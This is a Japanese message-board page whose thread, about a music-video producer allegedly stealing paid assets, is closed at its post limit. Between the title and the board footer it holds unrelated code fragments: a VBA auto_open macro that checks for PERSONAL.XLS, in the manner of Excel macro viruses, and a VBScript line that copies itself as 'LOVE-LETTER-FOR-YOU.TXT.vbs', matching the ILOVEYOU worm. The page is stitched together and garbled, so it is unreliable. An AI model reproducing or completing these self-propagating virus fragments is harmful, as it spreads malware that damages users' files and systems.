レス数が1スレッドの最大レス数(1000件)を超えています。残念ながら投稿することができません。
初音ミクPVで有名な「ゆのみP」が有料素材盗用★36
-
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
掲示板管理者へ連絡
無料レンタル掲示板